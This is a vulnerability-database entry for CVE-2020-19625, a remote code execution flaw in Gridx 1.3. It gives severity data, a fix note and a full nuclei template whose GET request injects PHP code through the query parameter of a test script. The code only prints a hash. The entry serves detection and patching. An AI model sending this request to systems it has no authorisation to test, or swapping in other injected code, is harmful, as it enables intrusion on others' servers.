HexBrain

Browse / CVEs / CVE-2020-19625

CVE-2020-19625· gridx project / gridx

Gridx 1.3 - Remote Code Execution

criticalseverity
9.8CVSS score
13.1%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of Gridx.

How to confirm it

Send: GET {{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B
Positive when: contains "6ca86c2c17047c14437f55c42c801c10" AND status 200

Run it with nuclei: nuclei -id CVE-2020-19625 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-19625

info:
  name: Gridx 1.3 - Remote Code Execution
  author: geeknik
  severity: critical
  description: |
    Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Gridx.
  reference:
    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
    - https://github.com/oria/gridx/issues/433
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-19625
    epss-score: 0.13143
    epss-percentile: 0.96392
    cpe: cpe:2.3:a:gridx_project:gridx:1.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gridx_project
    product: gridx
  tags: cve2020,cve,gridx,rce,gridx_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "6ca86c2c17047c14437f55c42c801c10"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from